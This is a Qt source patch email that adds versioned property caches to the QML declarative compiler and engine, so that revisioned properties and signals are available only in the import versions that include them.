    Date: Thu, 27 Jan 2011 13:49:12 +1000
    Subject: Implement property versioning inside the declarative engine
    
    Task-number: QTBUG-13451
    ---
     src/declarative/qml/qdeclarativecompileddata.cpp   |  30 ++++
     src/declarative/qml/qdeclarativecompiler.cpp       | 174 +++++++++++++++------
     src/declarative/qml/qdeclarativecompiler_p.h       |   7 +-
     src/declarative/qml/qdeclarativeengine.cpp         | 121 ++++++++++++++
     src/declarative/qml/qdeclarativeengine_p.h         |  37 +++--
     src/declarative/qml/qdeclarativemetatype.cpp       |  76 +++++----
     src/declarative/qml/qdeclarativemetatype_p.h       |   6 +-
     .../qml/qdeclarativeobjectscriptclass.cpp          |  21 +--
     src/declarative/qml/qdeclarativeparser.cpp         |   3 +-
     src/declarative/qml/qdeclarativeparser_p.h         |   2 +
     src/declarative/qml/qdeclarativepropertycache.cpp  |  21 +++
     src/declarative/qml/qdeclarativepropertycache_p.h  |  37 ++++-
     src/declarative/qml/qdeclarativetypeloader.cpp     |   2 +
     src/declarative/qml/qdeclarativetypeloader_p.h     |   4 +-
     src/declarative/qml/qdeclarativevme.cpp            |  15 +-
     src/script/bridge/qscriptdeclarativeclass.cpp      |   5 +
     src/script/bridge/qscriptdeclarativeclass_p.h      |   1 +
     .../qdeclarativeitem/tst_qdeclarativeitem.cpp      |   8 +-
     .../data/allowedRevisionOverloads.qml              |   6 +
     .../data/disallowedRevisionOverloads.errors.txt    |   1 +
     .../data/disallowedRevisionOverloads.qml           |   7 +
     .../data/metaobjectRevision.1.errors.txt           |   2 +-
     .../data/metaobjectRevision.1.qml                  |   1 +
     .../data/metaobjectRevision.2.errors.txt           |   2 +-
     .../data/metaobjectRevision.3.errors.txt           |   2 +-
     .../qdeclarativelanguage/data/revisions10.qml      |   8 -
     .../qdeclarativelanguage/data/revisionssub10.qml   |  10 --
     .../declarative/qdeclarativelanguage/testtypes.cpp |   2 +
     .../declarative/qdeclarativelanguage/testtypes.h   |  12 ++
     .../tst_qdeclarativelanguage.cpp                   |  45 ++----
     .../tst_qdeclarativerepeater.cpp                   |   4 +-
     31 files changed, 494 insertions(+), 178 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
     create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
     create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
     delete mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml
     delete mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml
    
    diff --git a/src/declarative/qml/qdeclarativecompileddata.cpp b/src/declarative/qml/qdeclarativecompileddata.cpp
    index 70cace4..03deea1 100644
    --- a/src/declarative/qml/qdeclarativecompileddata.cpp
    +++ b/src/declarative/qml/qdeclarativecompileddata.cpp
    @@ -171,6 +171,8 @@ QDeclarativeCompiledData::~QDeclarativeCompiledData()
         for (int ii = 0; ii < types.count(); ++ii) {
             if (types.at(ii).component)
                 types.at(ii).component->release();
    +        if (types.at(ii).typePropertyCache)
    +            types.at(ii).typePropertyCache->release();
         }
     
         for (int ii = 0; ii < propertyCaches.count(); ++ii) 
    @@ -209,6 +211,34 @@ const QMetaObject *QDeclarativeCompiledData::TypeReference::metaObject() const
         }
     }
     
    +/*!
    +Returns the property cache, if one alread exists.  The cache is not referenced.
    +*/
    +QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::propertyCache() const
    +{
    +    if (type)
    +        return typePropertyCache;
    +    else
    +        return component->rootPropertyCache;
    +}
    +
    +/*!
    +Returns the property cache, creating one if it doesn't already exist.  The cache is not referenced.
    +*/
    +QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::createPropertyCache(QDeclarativeEngine *engine) 
    +{
    +    if (typePropertyCache) {
    +        return typePropertyCache;
    +    } else if (type) {
    +        typePropertyCache = QDeclarativeEnginePrivate::get(engine)->cache(type->metaObject());
    +        typePropertyCache->addref();
    +        return typePropertyCache;
    +    } else {
    +        return component->rootPropertyCache;
    +    }
    +}
    +
    +
     void QDeclarativeCompiledData::dumpInstructions()
     {
         if (!name.isEmpty())
    diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp
    index 8bfc260..a0236c0 100644
    --- a/src/declarative/qml/qdeclarativecompiler.cpp
    +++ b/src/declarative/qml/qdeclarativecompiler.cpp
    @@ -589,6 +589,18 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine,
                         err = tr( "Element is not creatable.");
                     COMPILE_EXCEPTION(parserRef->refObjects.first(), err);
                 }
    +            
    +            if (ref.type->containsRevisionedAttributes()) {
    +                QDeclarativeError cacheError;
    +                ref.typePropertyCache = 
    +                    QDeclarativeEnginePrivate::get(engine)->cache(ref.type, resolvedTypes.at(ii).minorVersion, cacheError);
    +
    +                if (!ref.typePropertyCache) {
    +                    COMPILE_EXCEPTION(parserRef->refObjects.first(), cacheError.description());
    +                }
    +                ref.typePropertyCache->addref();
    +            }
    +
             } else if (tref.typeData) {
                 ref.component = tref.typeData->compiledData();
             }
    @@ -886,8 +898,7 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt)
     
     void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
     {
    -    const QDeclarativeCompiledData::TypeReference &tr =
    -        output->types.at(obj->type);
    +    QDeclarativeCompiledData::TypeReference &tr = output->types[obj->type];
         if (tr.type && obj->metatype == &QDeclarativeComponent::staticMetaObject) {
             genComponent(obj);
             return;
    @@ -936,16 +947,10 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
             meta.storeMeta.data = output->indexForByteArray(obj->metadata);
             meta.storeMeta.aliasData = output->indexForByteArray(obj->synthdata);
             meta.storeMeta.propertyCache = output->propertyCaches.count();
    -        // ### Surely the creation of this property cache could be more efficient
    -        QDeclarativePropertyCache *propertyCache = 0;
    -        if (tr.component)
    -            propertyCache = tr.component->rootPropertyCache->copy();
    -        else
    -            propertyCache = enginePrivate->cache(obj->metaObject()->superClass())->copy();
     
    -        propertyCache->append(engine, obj->metaObject(), QDeclarativePropertyCache::Data::NoFlags,
    -                              QDeclarativePropertyCache::Data::IsVMEFunction, 
    -                              QDeclarativePropertyCache::Data::IsVMESignal);
    +        QDeclarativePropertyCache *propertyCache = obj->synthCache;
    +        Q_ASSERT(propertyCache);
    +        propertyCache->addref();
     
             // Add flag for alias properties
             if (!obj->synthdata.isEmpty()) {
    @@ -965,11 +970,7 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
             output->propertyCaches << propertyCache;
             output->bytecode << meta;
         } else if (obj == unitRoot) {
    -        if (tr.component)
    -            output->rootPropertyCache = tr.component->rootPropertyCache;
    -        else
    -            output->rootPropertyCache = enginePrivate->cache(obj->metaObject());
    -
    +        output->rootPropertyCache = tr.createPropertyCache(engine);
             output->rootPropertyCache->addref();
         }
     
    @@ -1104,15 +1105,7 @@ void QDeclarativeCompiler::genObjectBody(QDeclarativeParser::Object *obj)
                 meta.line = 0;
                 meta.storeMeta.data = output->indexForByteArray(prop->value->metadata);
                 meta.storeMeta.aliasData = output->indexForByteArray(prop->value->synthdata);
    -            meta.storeMeta.propertyCache = output->propertyCaches.count();
    -            // ### Surely the creation of this property cache could be more efficient
    -            QDeclarativePropertyCache *propertyCache =
    -                enginePrivate->cache(prop->value->metaObject()->superClass())->copy();
    -            propertyCache->append(engine, prop->value->metaObject(), QDeclarativePropertyCache::Data::NoFlags,
    -                                  QDeclarativePropertyCache::Data::IsVMEFunction,
    -                                  QDeclarativePropertyCache::Data::IsVMESignal);
    -
    -            output->propertyCaches << propertyCache;
    +            meta.storeMeta.propertyCache = -1;
                 output->bytecode << meta;
             }
     
    @@ -1352,11 +1345,18 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl
         if(name[0] >= 'A' && name[0] <= 'Z')
             name[0] = name[0] - 'A' + 'a';
     
    -    QMetaMethod method = QDeclarativePropertyPrivate::findSignalByName(obj->metaObject(), name);
    -    int sigIdx = method.methodIndex();
    +    bool notInRevision = false;
    +    int sigIdx = indexOfSignal(obj, name, ¬InRevision);
     
         if (sigIdx == -1) {
     
    +        if (notInRevision && -1 == indexOfProperty(obj, prop->name, 0)) {
    +            Q_ASSERT(obj->type != -1);
    +            const QList  &resolvedTypes = unit->resolvedTypes();
    +            const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
    +            COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
    +        }
    +
             // If the "on" name doesn't resolve into a signal, try it as a
             // property.
             COMPILE_CHECK(buildProperty(prop, obj, ctxt));
    @@ -1366,13 +1366,6 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl
             if (prop->value || prop->values.count() != 1)
                 COMPILE_EXCEPTION(prop, tr("Incorrectly specified signal assignment"));
     
    -        if (method.revision() > 0) {
    -            QDeclarativeType *type = output->types.at(obj->type).type;
    -            if (!type->isMethodAvailable(sigIdx, method.revision())) {
    -                COMPILE_EXCEPTION(prop, tr("Signal \"%1\" not available in %2 %3.%4").arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type->qmlTypeName())).arg(obj->majorVersion).arg(obj->minorVersion));
    -            }
    -        }
    -
             prop->index = sigIdx;
             obj->addSignalProperty(prop);
     
    @@ -1412,7 +1405,7 @@ bool QDeclarativeCompiler::doesPropertyExist(QDeclarativeParser::Property *prop,
                 QMetaProperty p = QDeclarativeMetaType::defaultProperty(mo);
                 return p.name() != 0;
             } else {
    -            int idx = mo->indexOfProperty(prop->name.constData());
    +            int idx = indexOfProperty(obj, prop->name);
                 return idx != -1 && mo->property(idx).isScriptable();
             }
         }
    @@ -1473,7 +1466,13 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
                 }
     
             } else {
    -            prop->index = metaObject->indexOfProperty(prop->name.constData());
    +            bool notInRevision = false;
    +            prop->index = indexOfProperty(obj, prop->name, ¬InRevision);
    +            if (prop->index == -1 && notInRevision) {
    +                const QList  &resolvedTypes = unit->resolvedTypes();
    +                const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
    +                COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
    +            }
     
                 if (prop->index != -1) {
                     p = metaObject->property(prop->index);
    @@ -1488,15 +1487,8 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
     
             // We can't error here as the "id" property does not require a
             // successful index resolution
    -        if (p.name()) {
    +        if (p.name()) 
                 prop->type = p.userType();
    -            if (p.revision() > 0) {
    -                QDeclarativeType *type = output->types.at(obj->type).type;
    -                if (!type->isPropertyAvailable(prop->index, p.revision())) {
    -                    COMPILE_EXCEPTION(prop, tr("Property \"%1\" not available in %2 %3.%4").arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type->qmlTypeName())).arg(obj->majorVersion).arg(obj->minorVersion));
    -                }
    -            }
    -        }
     
             // Check if this is an alias
             if (prop->index != -1 && 
    @@ -2430,8 +2422,7 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn
         for (int ii = 0; ii < obj->dynamicProperties.count(); ++ii) {
             const Object::DynamicProperty &p = obj->dynamicProperties.at(ii);
     
    -        int propIdx =
    -            obj->metaObject()->indexOfProperty(p.name.constData());
    +        int propIdx = obj->metaObject()->indexOfProperty(p.name.constData());
             if (-1 != propIdx) {
                 QMetaProperty prop = obj->metaObject()->property(propIdx);
                 if (prop.isFinal())
    @@ -2616,6 +2607,19 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn
     
         obj->synthdata = dynamicData;
     
    +    if (obj->synthCache) {
    +        obj->synthCache->release();
    +        obj->synthCache = 0;
    +    }
    +
    +    if (obj->type != -1) {
    +        QDeclarativePropertyCache *cache = output->types[obj->type].createPropertyCache(engine)->copy();
    +        cache->append(engine, &obj->extObject, QDeclarativePropertyCache::Data::NoFlags,
    +                      QDeclarativePropertyCache::Data::IsVMEFunction, 
    +                      QDeclarativePropertyCache::Data::IsVMESignal);
    +        obj->synthCache = cache;
    +    }
    +
         return true;
     }
     
    @@ -2665,9 +2669,9 @@ static QStringList astNodeToStringList(QDeclarativeJS::AST::Node *node)
     }
     
     bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
    -                               QByteArray &data,
    -                               Object *obj,
    -                               const Object::DynamicProperty &prop)
    +                                        QByteArray &data,
    +                                        Object *obj,
    +                                        const Object::DynamicProperty &prop)
     {
         if (!prop.defaultValue)
             COMPILE_EXCEPTION(obj, tr("No property alias location"));
    @@ -2697,7 +2701,7 @@ bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
         int flags = 0;
         bool writable = false;
         if (alias.count() == 2 || alias.count() == 3) {
    -        propIdx = idObject->metaObject()->indexOfProperty(alias.at(1).toUtf8().constData());
    +        propIdx = indexOfProperty(idObject, alias.at(1).toUtf8());
     
             if (-1 == propIdx) {
                 COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
    @@ -3038,4 +3042,74 @@ QStringList QDeclarativeCompiler::deferredProperties(QDeclarativeParser::Object
         return rv;
     }
     
    +// This code must match the semantics of QDeclarativePropertyPrivate::findSignalByName
    +int QDeclarativeCompiler::indexOfSignal(QDeclarativeParser::Object *object, const QByteArray &name, 
    +                                        bool *notInRevision)
    +{
    +    if (notInRevision) *notInRevision = false;
    +
    +    if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
    +        // XXX fromUtf8
    +        QString strName(QString::fromUtf8(name));
    +        QDeclarativePropertyCache *cache = 
    +            object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
    +
    +        QDeclarativePropertyCache::Data *d = cache->property(strName);
    +        if (notInRevision) *notInRevision = false;
    +
    +        while (d && !(d->flags & QDeclarativePropertyCache::Data::IsFunction))
    +            d = cache->overrideData(d);
    +
    +        if (d && !cache->isAllowedInRevision(d)) {
    +            if (notInRevision) *notInRevision = true;
    +            return -1;
    +        } else if (d) {
    +            return d->coreIndex;
    +        }
    +
    +        if (name.endsWith("Changed")) {
    +            QByteArray propName = name.mid(0, name.length() - 7);
    +
    +            int propIndex = indexOfProperty(object, propName, notInRevision);
    +            if (propIndex != -1) {
    +                d = cache->property(propIndex);
    +                return d->notifyIndex;
    +            }
    +        }
    +
    +        return -1;
    +    } else {
    +        return QDeclarativePropertyPrivate::findSignalByName(object->metaObject(), name).methodIndex();
    +    }
    +
    +}
    +
    +int QDeclarativeCompiler::indexOfProperty(QDeclarativeParser::Object *object, const QByteArray &name, 
    +                                          bool *notInRevision)
    +{
    +    if (notInRevision) *notInRevision = false;
    +
    +    if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
    +        // XXX fromUtf8
    +        QString strName(QString::fromUtf8(name));
    +        QDeclarativePropertyCache *cache = 
    +            object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
    +
    +        QDeclarativePropertyCache::Data *d = cache->property(strName);
    +        // Find the first property
    +        while (d && d->flags & QDeclarativePropertyCache::Data::IsFunction) 
    +            d = cache->overrideData(d);
    +
    +        if (d && !cache->isAllowedInRevision(d)) {
    +            if (notInRevision) *notInRevision = true;
    +            return -1;
    +        } else {
    +            return d?d->coreIndex:-1;
    +        }
    +    } else {
    +        const QMetaObject *mo = object->metaObject();
    +        return mo->indexOfProperty(name.constData());
    +    }
    +}
    +
     QT_END_NAMESPACE
    diff --git a/src/declarative/qml/qdeclarativecompiler_p.h b/src/declarative/qml/qdeclarativecompiler_p.h
    index 5e990e7..93b6a09 100644
    --- a/src/declarative/qml/qdeclarativecompiler_p.h
    +++ b/src/declarative/qml/qdeclarativecompiler_p.h
    @@ -89,14 +89,17 @@ public:
         struct TypeReference 
         {
             TypeReference()
    -        : type(0), component(0) {}
    +        : type(0), typePropertyCache(0), component(0) {}
     
             QByteArray className;
             QDeclarativeType *type;
    +        QDeclarativePropertyCache *typePropertyCache;
             QDeclarativeCompiledData *component;
     
             QObject *createInstance(QDeclarativeContextData *, const QBitField &, QList *) const;
             const QMetaObject *metaObject() const;
    +        QDeclarativePropertyCache *propertyCache() const;
    +        QDeclarativePropertyCache *createPropertyCache(QDeclarativeEngine *);
         };
         QList types;
         struct CustomTypeData
    @@ -277,6 +280,8 @@ private:
         bool canCoerce(int to, QDeclarativeParser::Object *from);
     
         QStringList deferredProperties(QDeclarativeParser::Object *);
    +    int indexOfProperty(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
    +    int indexOfSignal(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
     
         void addId(const QString &, QDeclarativeParser::Object *);
     
    diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp
    index 99a098e..e3be599 100644
    --- a/src/declarative/qml/qdeclarativeengine.cpp
    +++ b/src/declarative/qml/qdeclarativeengine.cpp
    @@ -460,6 +460,8 @@ QDeclarativeEnginePrivate::~QDeclarativeEnginePrivate()
             (*iter)->release();
         for(QHash::Iterator iter = propertyCache.begin(); iter != propertyCache.end(); ++iter)
             (*iter)->release();
    +    for(QHash, QDeclarativePropertyCache *>::Iterator iter = typePropertyCache.begin(); iter != typePropertyCache.end(); ++iter)
    +        (*iter)->release();
     
     }
     
    @@ -2207,6 +2209,125 @@ static void *voidptr_constructor(const void *v)
         }
     }
     
    +QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(const QMetaObject *mo)
    +{
    +    Q_Q(QDeclarativeEngine);
    +
    +    if (!mo->superClass()) {
    +        QDeclarativePropertyCache *rv = new QDeclarativePropertyCache(q, mo);
    +        propertyCache.insert(mo, rv);
    +        return rv;
    +    } else {
    +        QDeclarativePropertyCache *super = cache(mo->superClass());
    +        QDeclarativePropertyCache *rv = super->copy();
    +        rv->append(q, mo);
    +        propertyCache.insert(mo, rv);
    +        return rv;
    +    }
    +}
    +
    +QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(QDeclarativeType *type, int minorVersion, 
    +                                                                  QDeclarativeError &error)
    +{
    +    QList types;
    +
    +    int maxMinorVersion = 0;
    +
    +    const QMetaObject *metaObject = type->metaObject();
    +    while (metaObject) {
    +        QDeclarativeType *t = QDeclarativeMetaType::qmlType(metaObject, type->module(), 
    +                                                            type->majorVersion(), minorVersion);
    +        if (t) {
    +            maxMinorVersion = qMax(maxMinorVersion, t->minorVersion());
    +            types << t;
    +        } else {
    +            types << 0;
    +        }
    +
    +        metaObject = metaObject->superClass();
    +    }
    +
    +    if (QDeclarativePropertyCache *c = typePropertyCache.value(qMakePair(type, maxMinorVersion))) {
    +        c->addref();
    +        typePropertyCache.insert(qMakePair(type, minorVersion), c);
    +        return c;
    +    }
    +
    +    QDeclarativePropertyCache *raw = cache(type->metaObject());
    +
    +    bool hasCopied = false;
    +
    +    for (int ii = 0; ii < types.count(); ++ii) {
    +        QDeclarativeType *currentType = types.at(ii);
    +        if (!currentType)
    +            continue;
    +
    +        int rev = currentType->metaObjectRevision();
    +        int moIndex = types.count() - 1 - ii;
    +
    +        if (raw->allowedRevisionCache[moIndex] != rev) {
    +            if (!hasCopied) {
    +                raw = raw->copy();
    +                hasCopied = true;
    +            }
    +            raw->allowedRevisionCache[moIndex] = rev;
    +        }
    +    }
    +
    +    // Test revision compatibility - the basic rule is:
    +    //    * Anything that is excluded, cannot overload something that is not excluded *
    +
    +    // Signals override:
    +    //    * other signals and methods of the same name.
    +    //    * properties named on 
    +    //    * automatic Changed notify signals
    +
    +    // Methods override:
    +    //    * other methods of the same name
    +
    +    // Properties override:
    +    //    * other elements of the same name
    +
    +    bool overloadError = false;
    +    QString overloadName;
    +
    +#if 0
    +    for (QDeclarativePropertyCache::StringCache::ConstIterator iter = raw->stringCache.begin();
    +         !overloadError && iter != raw->stringCache.end();
    +         ++iter) {
    +
    +        QDeclarativePropertyCache::Data *d = *iter;
    +        if (raw->isAllowedInRevision(d))
    +            continue; // Not excluded - no problems
    +
    +        // check that a regular "name" overload isn't happening
    +        QDeclarativePropertyCache::Data *current = d;
    +        while (!overloadError && current) {
    +            current = d->overrideData(current);
    +            if (current && raw->isAllowedInRevision(current)) 
    +                overloadError = true;
    +        }
    +    }
    +#endif
    +
    +    if (overloadError) {
    +        if (hasCopied) raw->release();
    +            
    +        error.setDescription(QLatin1String("Type ") + QString::fromUtf8(type->qmlTypeName()) + QLatin1String(" ") + QString::number(type->majorVersion()) + QLatin1String(".") + QString::number(minorVersion) + QLatin1String(" contains an illegal property \"") + overloadName + QLatin1String("\".  This is an error in the type's implementation."));
    +        return 0;
    +    }
    +
    +    if (!hasCopied) raw->addref();
    +    typePropertyCache.insert(qMakePair(type, minorVersion), raw);
    +
    +    if (minorVersion != maxMinorVersion) {
    +        raw->addref();
    +        typePropertyCache.insert(qMakePair(type, maxMinorVersion), raw);
    +    }
    +
    +    return raw;
    +}
    +
     void QDeclarativeEnginePrivate::registerCompositeType(QDeclarativeCompiledData *data)
     {
         QByteArray name = data->root->className();
    diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h
    index fc996b5..1cc9dc5 100644
    --- a/src/declarative/qml/qdeclarativeengine_p.h
    +++ b/src/declarative/qml/qdeclarativeengine_p.h
    @@ -251,8 +251,12 @@ public:
         QDeclarativeValueTypeFactory valueTypes;
     
         QHash propertyCache;
    +    QHash, QDeclarativePropertyCache *> typePropertyCache;
         inline QDeclarativePropertyCache *cache(QObject *obj);
         inline QDeclarativePropertyCache *cache(const QMetaObject *);
    +    inline QDeclarativePropertyCache *cache(QDeclarativeType *, int, QDeclarativeError &error);
    +    QDeclarativePropertyCache *createCache(const QMetaObject *);
    +    QDeclarativePropertyCache *createCache(QDeclarativeType *, int, QDeclarativeError &error);
     
         void registerCompositeType(QDeclarativeCompiledData *);
     
    @@ -330,19 +334,17 @@ Returns a QDeclarativePropertyCache for \a obj if one is available.
     
     If \a obj is null, being deleted or contains a dynamic meta object 0 
     is returned.
    +
    +The returned cache is not referenced, so if it is to be stored, call addref().
     */
     QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QObject *obj) 
     {
    -    Q_Q(QDeclarativeEngine);
         if (!obj || QObjectPrivate::get(obj)->metaObject || QObjectPrivate::get(obj)->wasDeleted) 
             return 0;
     
         const QMetaObject *mo = obj->metaObject();
         QDeclarativePropertyCache *rv = propertyCache.value(mo);
    -    if (!rv) {
    -        rv = new QDeclarativePropertyCache(q, mo);
    -        propertyCache.insert(mo, rv);
    -    }
    +    if (!rv) rv = createCache(mo);
         return rv;
     }
     
    @@ -352,18 +354,33 @@ Returns a QDeclarativePropertyCache for \a metaObject.
     As the cache is persisted for the life of the engine, \a metaObject must be
     a static "compile time" meta-object, or a meta-object that is otherwise known to 
     exist for the lifetime of the QDeclarativeEngine.
    +
    +The returned cache is not referenced, so if it is to be stored, call addref().
     */
     QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(const QMetaObject *metaObject)
     {
    -    Q_Q(QDeclarativeEngine);
         Q_ASSERT(metaObject);
     
         QDeclarativePropertyCache *rv = propertyCache.value(metaObject);
    -    if (!rv) {
    -        rv = new QDeclarativePropertyCache(q, metaObject);
    -        propertyCache.insert(metaObject, rv);
    -    }
    +    if (!rv) rv = createCache(metaObject);
    +    return rv;
    +}
    +
    +/*!
    +Returns a QDeclarativePropertyCache for \a type with \a minorVersion.
    +
    +The returned cache is not referenced, so if it is to be stored, call addref().
    +*/
    +QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QDeclarativeType *type, int minorVersion, QDeclarativeError &error)
    +{
    +    Q_ASSERT(type);
    +    Q_ASSERT(minorVersion >= 0);
    +
    +    if (!type->containsRevisionedAttributes())
    +        return cache(type->metaObject());
     
    +    QDeclarativePropertyCache *rv = typePropertyCache.value(qMakePair(type, minorVersion));
    +    if (!rv) rv = createCache(type, minorVersion, error);
         return rv;
     }
     
    diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp
    index bdac3d0..4867cc5 100644
    --- a/src/declarative/qml/qdeclarativemetatype.cpp
    +++ b/src/declarative/qml/qdeclarativemetatype.cpp
    @@ -140,6 +140,7 @@ public:
         int m_version_min;
         int m_typeId; int m_listId; 
         int m_revision;
    +    mutable bool m_containsRevisionedAttributes;
         mutable QDeclarativeType *m_superType;
     
         int m_allocationSize;
    @@ -167,10 +168,11 @@ public:
     QHash QDeclarativeTypePrivate::m_attachedPropertyIds;
     
     QDeclarativeTypePrivate::QDeclarativeTypePrivate()
    -: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_superType(0),
    -  m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), m_attachedPropertiesType(0),
    -  m_parserStatusCast(-1), m_propertyValueSourceCast(-1), m_propertyValueInterceptorCast(-1),
    -  m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), m_isSetup(false), m_haveSuperType(false)
    +: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_containsRevisionedAttributes(false),
    +  m_superType(0), m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), 
    +  m_attachedPropertiesType(0), m_parserStatusCast(-1), m_propertyValueSourceCast(-1), 
    +  m_propertyValueInterceptorCast(-1), m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), 
    +  m_isSetup(false), m_haveSuperType(false)
     {
     }
     
    @@ -235,6 +237,11 @@ QDeclarativeType::~QDeclarativeType()
         delete d;
     }
     
    +QByteArray QDeclarativeType::module() const
    +{
    +    return d->m_module;
    +}
    +
     int QDeclarativeType::majorVersion() const
     {
         return d->m_version_maj;
    @@ -270,36 +277,6 @@ QDeclarativeType *QDeclarativeType::superType() const
         return d->m_superType;
     }
     
    -bool QDeclarativeType::isPropertyAvailable(int index, int revision) const
    -{
    -    if (revision == 0)
    -        return true;
    -
    -    if (index < d->m_baseMetaObject->propertyOffset()) {
    -        if (QDeclarativeType *super = superType())
    -            return super->isPropertyAvailable(index, revision);
    -    } else if (index < d->m_baseMetaObject->propertyOffset() + d->m_baseMetaObject->propertyCount()) {
    -        return d->m_revision >= revision;
    -    }
    -
    -    return false;
    -}
    -
    -bool QDeclarativeType::isMethodAvailable(int index, int revision) const
    -{
    -    if (revision == 0)
    -        return true;
    -
    -    if (index < d->m_baseMetaObject->methodOffset()) {
    -        if (QDeclarativeType *super = superType())
    -            return super->isMethodAvailable(index, revision);
    -    } else if (index < d->m_baseMetaObject->methodOffset() + d->m_baseMetaObject->methodCount()) {
    -        return d->m_revision >= revision;
    -    }
    -
    -    return false;
    -}
    -
     static void clone(QMetaObjectBuilder &builder, const QMetaObject *mo, 
                       const QMetaObject *ignoreStart, const QMetaObject *ignoreEnd)
     {
    @@ -413,6 +390,25 @@ void QDeclarativeTypePrivate::init() const
             m_metaObjects[ii].methodOffset =
                 m_metaObjects.at(ii).metaObject->methodOffset();
         }
    +    
    +    // Check for revisioned details
    +    {
    +        const QMetaObject *mo = 0;
    +        if (m_metaObjects.isEmpty())
    +            mo = m_baseMetaObject;
    +        else
    +            mo = m_metaObjects.first().metaObject;
    +
    +        for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->propertyCount(); ++ii) {
    +            if (mo->property(ii).revision() != 0)
    +                m_containsRevisionedAttributes = true;
    +        }
    +
    +        for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->methodCount(); ++ii) {
    +            if (mo->method(ii).revision() != 0)
    +                m_containsRevisionedAttributes = true;
    +        }
    +    }
     
         m_isSetup = true;
         lock.unlock();
    @@ -521,6 +517,18 @@ const QMetaObject *QDeclarativeType::baseMetaObject() const
         return d->m_baseMetaObject;
     }
     
    +bool QDeclarativeType::containsRevisionedAttributes() const
    +{
    +    d->init();
    +
    +    return d->m_containsRevisionedAttributes;
    +}
    +
    +int QDeclarativeType::metaObjectRevision() const
    +{
    +    return d->m_revision;
    +}
    +
     QDeclarativeAttachedPropertiesFunc QDeclarativeType::attachedPropertiesFunction() const
     {
         return d->m_attachedPropertiesFunc;
    diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h
    index 564218f..0e4d61c 100644
    --- a/src/declarative/qml/qdeclarativemetatype_p.h
    +++ b/src/declarative/qml/qdeclarativemetatype_p.h
    @@ -113,12 +113,12 @@ public:
         QByteArray typeName() const;
         QByteArray qmlTypeName() const;
     
    +    QByteArray module() const;
         int majorVersion() const;
         int minorVersion() const;
    +
         bool availableInVersion(int vmajor, int vminor) const;
         bool availableInVersion(const QByteArray &module, int vmajor, int vminor) const;
    -    bool isPropertyAvailable(int index, int revision) const;
    -    bool isMethodAvailable(int index, int revision) const;
     
         QObject *create() const;
         void create(QObject **, void **, size_t) const;
    @@ -139,6 +139,8 @@ public:
     
         const QMetaObject *metaObject() const;
         const QMetaObject *baseMetaObject() const;
    +    int metaObjectRevision() const;
    +    bool containsRevisionedAttributes() const;
     
         QDeclarativeAttachedPropertiesFunc attachedPropertiesFunction() const;
         const QMetaObject *attachedPropertiesType() const;
